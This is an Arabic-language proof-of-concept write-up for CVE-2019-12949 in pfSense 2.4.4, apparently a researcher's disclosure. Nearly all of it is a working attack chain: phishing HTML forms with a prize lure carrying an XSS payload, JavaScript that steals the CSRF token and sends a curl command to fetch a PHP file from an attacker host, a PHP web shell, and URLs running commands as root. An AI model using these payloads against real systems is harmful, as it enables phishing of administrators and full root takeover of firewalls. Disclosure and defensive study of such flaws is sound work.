
CVE-2019-12949
في pfSense 2.4.4-p2 و 2.4.4-p3، إذا كان من الممكن خداع المسؤول المصادق للنقر على زر في صفحة تصيّد، يمكن للمهاجم رفع كود برمجي تعسفي قابل للتنفيذ عبر ding_command.php و rrd_fetch_json.php إلى الخادم. بعد ذلك، يمكن للمهاجم عن بُعد تشغيل أي أمر بصلاحيات root على ذلك الخادم.
الباحث: Enter من فريق The Tarantula، VinCSS (عضو في Vingroup)
متجه الهجوم: https://pfSense_IP_Address/rrd_fetch_json.php
أرسل طلب POST:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script>alert(1)</script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
يمكن للمهاجم إنشاء موقع تصيّد مثل هذا لاستغلال ثغرة XSS في pfsense:
<form action="https://[PFsense-domain]/rrd_fetch_json.php" method="post">
<input type="hidden" name="left" value="system-processor"><br>
<input type="hidden" name="right" value="null"><br>
<input type="hidden" name="start" value=""><br>
<input type="hidden" name="end" value=""><br>
<input type="hidden" name="resolution" value="300"><br>
<input type="hidden" name="timePeriod" value="i3i3j<script src='https://[Attacker-Server]/payload.js'></script>tz9b1"><br>
<input type="hidden" name="graphtype" value="line"><br>
<input type="hidden" name="invert" value="true"><br>
<input type="hidden" name="refreshInterval" value="0">
<h1>Congratulations on receiving the reward from us</h1>
<h1>Click to receive gifts</h1>
<input type="submit" value="Submit">
</form>
سيحتوي ملف payload.js على خادم المهاجم على كود جافاسكريبت التالي (الحمولة):
<script>
var xhr = new XMLHttpRequest();
xhr.open("GET", "https://[PFsense domain]/diag_command.php", false);
xhr.withCredentials=true;
xhr.send(null);
var resp = xhr.responseText;
console.log(resp);
var start_idx = resp.indexOf('name=\'__csrf_magic\' value="');
var end_idx = resp.indexOf('" />', start_idx);
var token = resp.slice(start_idx + 27, end_idx);
console.log(token);
// now execute the CSRF attack using XHR along with the extracted token
var xhr1 = new XMLHttpRequest();
xhr1.open("POST", "https://[PFsense-domain]/diag_command.php", false);
xhr1.withCredentials=true;
var params = "__csrf_magic="+token+"&txtCommand=curl https://[Attacker-Server]/shell.txt > a.php&submit=EXEC";
xhr1.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr1.setRequestHeader("Content-length", params.length);
xhr1.send(params);
</script>
سيحتوي ملف shell.txt على خادم المهاجم على أي محتويات ويب شيل PHP، مثل:
<?php
system($_REQUEST['cmd']); // allow remote attacker to run commands on victim server
phpinfo(); // show phpinfo
?>
أخيرًا، سيخدع المهاجم مسؤولي pfsense المصادقين (الضحية) لزيارة موقع التصيّد والنقر على زر 'Submit' في موقع التصيّد. بعد ذلك، ستتم إعادة توجيه الضحية إلى موقع إدارة pfsense، وستُحمَّل ويب شيل المهاجم تلقائيًا وبنجاح على خادم pfsense.
ومن هناك، يمكن للمهاجم عن بُعد تنفيذ تعليمات برمجية عشوائية بصلاحيات root على خادم pfsense:
https://[PFsense-domain]/a.php?cmd=whoami
https://[PFsense-domain]/a.php?cmd=ls